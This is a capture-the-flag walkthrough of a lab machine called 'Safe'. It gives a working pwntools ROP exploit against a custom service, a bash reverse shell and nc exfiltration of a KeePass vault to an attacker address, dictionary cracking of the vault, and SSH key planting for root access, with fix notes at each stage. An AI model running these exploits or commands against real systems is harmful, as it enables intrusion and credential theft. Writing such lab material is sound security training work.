Safe
Summary
I downloaded the target's custom service binary directly from its web server, reverse-engineered a stack buffer overflow in it, and exploited the flaw with a ROP chain to obtain a shell as the service user. From that foothold, a KeePass credential vault found in the user's home directory — protected by a dictionary-crackable master password and an image keyfile stored in the same directory — yielded the system root password, which was then used to escalate to full root control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Service-version scan; confirms SSH, HTTP, and the unknown listener.
$ nmap -sV -sC -p 22,80,1337 $TARGETVerify the port-1337 service accepts connections.
$ nc -vz -w2 $TARGET 1337Confirm the binary is downloadable with no authentication.
$ curl -fsI http://$TARGET/myappExact commands 4
Download the binary.
$ curl -fsS http://$TARGET/myapp -o myappConfirm architecture, PIE status, canary, NX, and RELRO.
$ file myapp && checksec --file=myappResolve fixed PLT addresses and a writable .bss region.
$ python3 -c "from pwn import ELF; e=ELF('myapp'); print('system@plt', hex(e.plt['system'])); print('gets@plt', hex(e.plt['gets'])); print('bss', hex(e.bss()))"Find the stack-alignment 'ret' gadget (0x401016) and 'pop rdi; ret' gadget (0x40120b).
$ python3 -c "from pwn import *; e=ELF('myapp'); print(next(e.search(asm('ret', arch='amd64'))))" 2>/dev/null; ROPgadget --binary myapp --rop | grep -E 'pop rdi|ret'FixRemove the service binary from the public web rootHigh
Exact commands 1
Send the ROP chain and validate remote command execution.
$ cat > /tmp/validate_rce.py <<EOF
from pwn import *
context.arch = 'amd64'
elf = ELF('myapp')
pop_rdi = 0x40120b
ret = 0x401016
bss = elf.bss() + 0x800
payload = b'A'*120 + p64(ret) + p64(pop_rdi) + p64(bss) + p64(elf.plt['gets']) + p64(pop_rdi) + p64(bss) + p64(elf.plt['system'])
io = remote("$TARGET", 1337)
io.recvuntil(b'\n')
io.send(payload + b'\n')
io.send(b'id; uname -a\n')
print(io.recvall(timeout=3))
EOF
python3 /tmp/validate_rce.pyFixReplace gets() with a bounded read function and compile with stack canariesCritical
Exact commands 3
Start listener on my machine; run in a separate terminal.
$ nc -lvnp 4444Trigger the reverse shell; catch on the nc listener.
$ cat > /tmp/revshell.py <<EOF
from pwn import *
context.arch = 'amd64'
elf = ELF('myapp')
pop_rdi = 0x40120b
ret = 0x401016
bss = elf.bss() + 0x800
payload = b'A'*120 + p64(ret) + p64(pop_rdi) + p64(bss) + p64(elf.plt['gets']) + p64(pop_rdi) + p64(bss) + p64(elf.plt['system'])
cmd = b"bash -i >&/dev/tcp/$ATTACKER_IP/4444 0>&1"
io = remote("$TARGET", 1337)
io.recvuntil(b'\n')
io.send(payload + b'\n')
io.send(cmd + b'\n')
EOF
python3 /tmp/revshell.pyRead user flag on the target shell -> <user.txt>.
$ cat /home/user/user.txtExact commands 3
List home directory; observe the .kdbx and .JPG files.
$ ls -la /home/user/Stream files to me.
$ # On the target shell:
tar czf - /home/user/MyPasswords.kdbx /home/user/IMG_*.JPG | nc $ATTACKER_IP 5555Receive and extract the archive.
$ # On my machine (run first):
nc -lvnp 5555 > safe_keepass.tar.gz && tar xzf safe_keepass.tar.gzFixRemove credential vaults from service hosts and enforce strong KeePass master passwords and offline keyfilesHigh
Exact commands 3
Generate one john hash file per candidate keyfile.
$ cd /tmp/safe_keepass
for img in IMG_*.JPG; do
keepass2john -k "$img" MyPasswords.kdbx > "john_${img%.JPG}.txt" 2>/dev/null
doneDictionary attack each hash; IMG_0547 cracks to '$PASSWORD2'.
$ for img in IMG_*.JPG; do
john --wordlist=/usr/share/wordlists/rockyou.txt "john_${img%.JPG}.txt"
doneConfirm cracked master password.
$ john --show john_IMG_0547.txtExact commands 2
Install pykeepass on my machine if not present.
$ pip install --user pykeepassPrint all vault entries; the Root password entry reveals the root credential.
$ python3 -c "
from pykeepass import PyKeePass
kp = PyKeePass('MyPasswords.kdbx', password='$PASSWORD2', keyfile='IMG_0547.JPG')
for e in kp.entries:
print(e.title, '|', e.username, '|', e.password)
"Exact commands 5
Generate a keypair on my machine.
$ ssh-keygen -t ed25519 -f safe_user_key -N ''Plant my public key via a second exploit invocation.
$ # Re-run the ROP exploit writing this command into .bss:
# mkdir -p /home/user/.ssh && echo '<contents of safe_user_key.pub>' >> /home/user/.ssh/authorized_keys
# (same pwntools script as step 4, with the above as the cmd string)Connect with a proper TTY session.
$ ssh -i safe_user_key -o StrictHostKeyChecking=no user@$TARGETEnter password: $PASSWORD (retrieved from KeePass vault).
$ su - rootConfirm uid=0; read root flag -> <root.txt>.
$ id && cat /root/root.txt